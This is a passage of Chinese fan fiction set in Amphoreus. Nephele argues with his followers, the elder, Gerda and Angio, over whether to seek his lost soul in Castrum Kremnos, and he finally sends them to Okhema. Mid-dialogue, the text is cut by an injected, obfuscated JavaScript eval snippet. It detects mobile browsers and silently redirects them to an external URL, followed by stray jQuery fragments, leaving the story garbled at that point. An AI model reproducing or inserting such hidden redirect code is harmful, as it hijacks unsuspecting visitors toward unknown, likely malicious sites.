悬锋城,还是奥赫玛?是选剑刃起落时的沉重铿锵,还是温泉在池中流淌的波浪?
一阵沉默。
“这个问题……我、我选奥赫玛。”
“悬锋人会猎杀巨人做奴隶,一定也会猎杀人类!我不想去那里送死。”
“向东是奥赫玛,向南是悬锋,而西北方则是北境的明珠,我等失落的故都。”老者慢吞吞地回想,他闭上眼,早已了然,“可您这样提问,莫非您想?”
涅斐勒看着远处,地平线上起伏的群山仿佛在为他指引方向。
“悬锋人嗜血,狂暴,愚鲁,在这片大陆上引起无数纷争。”涅斐勒评判,这是他从上辈子起就知道的翁法罗斯历史的一册。
“但他们是货真价实的战士,只有悬锋人的角斗里流出的血,足以唤醒酣睡的死亡。”
老者捋着胡子,思忖着。
“您是要南下前往那座蛮都?”
涅斐勒点头,解释道:“雅努萨波利斯的政官向我坦言,我的灵魂自打被剥离后,便被他们沉入了冥河之底。想要找回来那一半灵魂和里面的记忆,我必须走这么一遭。”
“您想利用那座纷争汇聚的城邦里涌出的血,从那里踏入冥界吗……”老者看上去并不像周围的年轻人那样吃惊,他悄悄手杖,“肃静。使者大人,我想问你,你心意已决吗?”
“是,我意已决。”涅斐勒说。
“那么,为什么?”老者严肃道,“阁下,如此武断地决定了接下来的旅途,您到底是否有把我们这些追随您的人放在眼中?”
“不,我感激各位。”涅斐勒说,“而正是因为我感激各位,才希望各位能够得到应得的对待,而不是在城邦间流浪,仅仅因为选择了我而活着老鼠般的生活。”
老者混浊的眼睛看着涅斐勒,叹息:“但这和您的选择有什么关系?”
“因为,灵魂不会说谎。”说着,涅斐勒伸出了手,指尖冒出点点青色、紫色、和绯色的星光。
“雅努斯告诉了我答案:找回那一半遗失的灵魂,将那里面存储的记忆重现。如此一来,我的清白就得以澄清,而佩拉斯人也不会再因追随「罪人」而被诸多城邦放逐。”
“……您的意思,我明白了。”老者沉默着,“不过据我所知,拥有这项技艺、能做到这种事的只有「神悟树庭」里研究灵魂的学者,比如说您的那位……故友。但凭佩拉斯与树庭现在的关系,就算您找回了灵魂,又有谁愿意为您展现其中的一切呢?”
“况且您一旦离开了,就又是一个十年、两个十年……来日,您归来时,我们这些人已经入土,年轻的姑娘小子们也改头换面,您有多大几率能把他们一一认出来?”
“身负罪名地度过一生——这件事,从我们追随您离开被白雪覆盖的佩拉斯时就早已做好准备。当然,您可能已经不记得了。我能感觉到您对于我们的愧疚,但能否请您好好想想:我们到底想拥有什么呢?”
涅斐勒望着缄默的人群,低声答:“我无法回答。”
“我们想拥有与您共度岁月的资格。”老者说,“比起清白、比起荣耀,我们更在乎您是否还在我们身边。哪怕翁法罗斯被战火灼烧,哪怕终有一日灾厄将吞没我们,只要和您一同面对,那我们这些凡人也因此得到直面痛苦的勇气。”
“可您为什么要这么选,为什么要夺走我们这些人最想拥有的、最后宝贵的东西?”
老者低诉,声音沉静得宛如正在讲述一个与自己无关的故事。
“……”
他要说抱歉吗?还是改变这个选择呢?
面对着老者和其它族人的目光——那些凝聚着悲哀与控诉的目光——涅斐勒说不出原本打算说的话。本就要靠下定决心才能在用餐时把这一切坦明,失去那份勇气,他也只剩下继续保持沉默的踌躇。
更可怕的是,涅斐勒甚至无法对那份分别做到感同身受。因为他的记忆甚至随着灵魂一同沉进水底,此刻他的眼中,仅仅是一群陌生的人在为自己的离开驻足。
事到如今,涅斐勒也只好笑着喟叹:原来,失去灵魂,是一件这么可怕的事啊。
“哈……是我冒进了。”涅斐勒笑着摇摇头,“前往奥赫玛吧。正好,我也有……”
“等一下!”
忽然,传来一道女孩的声音。
女孩——格尔达大声说:“刚才涅斐勒大人所说,是由墨忒斯大人传递、泰坦雅努斯的预言!各位,你们真的觉得那位圣女大人传递的预言会残害我们么?”
“格尔达,住嘴!”他身边,一位有着同样浅蓝色短发的瘦削年轻人说。
“雅努萨波利斯的预言是怎么回事,这件事,我经常和他们打交道,我比你清楚。”年轻人冷冷地说,“就算那位圣女有所不同,但你怎么能保证神谕不会有所歪曲?”
“不可能!”格尔达握起拳头反驳,“那可是墨忒斯大人,她是不会被外界影响的!”
显然,在场众人都看出来了:格尔达只是不希望心中善良的圣女用生命传递的预言被践踏跟放弃,为此宁愿在敬爱的使者前顶撞族中的长者。
年轻人挑了挑眉,望着格尔达;女孩鼓着脸颊不屈地瞪着他,似乎指望靠这一招就让他回心转意。
“神谕是真的,有很多证据可以证明。”涅斐勒走上前。
“使者大人。”年轻人微微躬身,抬起头说,“抱歉吵到您——您可以叫我安吉奥。”
“安吉奥……安吉奥。”涅斐勒顿了顿,像是想起了什么,有些复杂地看着安吉奥。
安吉奥摸了摸自己的脸,问:“我的脸上有什么吗?使者大人?”
“不,你很好,一切都很完美。”涅斐勒说,“只是,如果可以,不必叫我使者大人。嗯,涅斐勒,叫我涅斐勒就好。”
“这太僭越了,我拒绝。”安吉奥果断地说,“您是在讨好我吗?您希望我赞同您?”
涅斐勒知道他举动被误会了。但是、但是他就是很难对这样与个年轻人,强调:一个有着和老师一样的名字、外表、和语调的年轻人摆出他那副使者的架势啊!
“——总之,使者大人。”安吉奥不知道面前的使者在想什么,只好主动转回话题。
“我不希望您以任何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438472|169313||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方式进入那片死亡盛开之地。您来自黄金世,不懂得死亡会使生命变成怎样脆弱的东西,但我明白,所以我能教您:不要为了已经失去的东西挑战死亡的权威。”
“考虑到其它人都太迷信您了,我得警告您,以防您被这些声音瞒骗。”安吉奥认真地说,他真的认为只是在帮助眼前的使者,“如果您要涉入冥河,您会死,我们会变成背负罪名又无人庇护的流民。所以,看在这种可能的份上,请您多考虑一下。”
“安吉奥,我要揍你!”格尔达被族亲按住肩膀,但还是扭动着叫嚣:“这次揍脸!”
安吉奥在族人不满的视线里从容地闭上了眼,像是在表达他“随便你们”的心声。
“我说的都是事实。”安吉奥说。
涅斐勒差点看呆了。老师他……不,还不能确定安吉奥是老师,但能做个假设,假设安吉奥就是他的老师:那他真没想到老师以前能这么武德充沛。
格尔达有些紧张,赶紧搬出她心目中最靠谱的“底牌”:
“就算是这样,最终去哪里还是由涅斐勒大人决定,你们没意见吧!”
众人交换眼神,稀稀拉拉地点头。老者笑而不语,而安吉奥哼了一声对格尔达说:
“格尔达,你少来这一套,从小时候起你就只知道靠爸妈撑腰,现在爸妈不在了,你就只记得找使者帮你解决那些无聊得要死的麻烦。你什么时候能长大些?”
格尔达的脸瞬间通红,她听到几个和安吉奥走得近的年轻人起哄,咬着牙跑开了。
安吉奥摆出胜利者的表情,转过头看向涅斐勒:“让您见笑了,使者大人。舍妹冒失无礼,在和您同行的那几天一定给您添麻烦了,我替她向您道歉。”
涅斐勒皱起眉:“格尔达帮了我很多。”
安吉奥不置可否,转而说:“不过,她说的话我也赞同——大家都赞同。我们这些人中,您才是有决定权的那个人。”
安吉奥的眼睛沉着而冷静,正如他犹如身处高空、俯瞰世界的广阔的内心世界。
“您想怎么样?去悬锋城,找到冥界与现世的入口,赌您的意志和死亡的权柄哪一个更强;还是去奥赫玛,用您的「神迹」和智慧让包括您在内的所有人度过更好的一生?”
涅斐勒闭上眼。
动摇的心在这一番纠缠后变得坚定,模糊的方向已经指明……已无需再犹豫了。
“我去悬锋城,而你们,去奥赫玛。”
涅斐勒下令。
“但,我保证,会在十五年内回来。而这段时间,「它」会与你们同行,代替我保证你们的安全。”
涅斐勒看向黄金飞龙。像是预知到与造主分离的时日将至,那聪慧的机械生命飞到使者身边,用身体和尾巴包裹住他的身体,一边享受着人类的手指抚摸鳞片的感觉,一边用巨大的头颅轻蹭人类的手臂。
“至于我,格尔达说的没错,我不能抛弃和墨忒斯之间的誓言。若是要我抛弃往事,我宁愿直面死亡;也只有这样,我们有可能重新成为「人」,而不是罪犯或流民。”
“这就是我的指示。”涅斐勒说。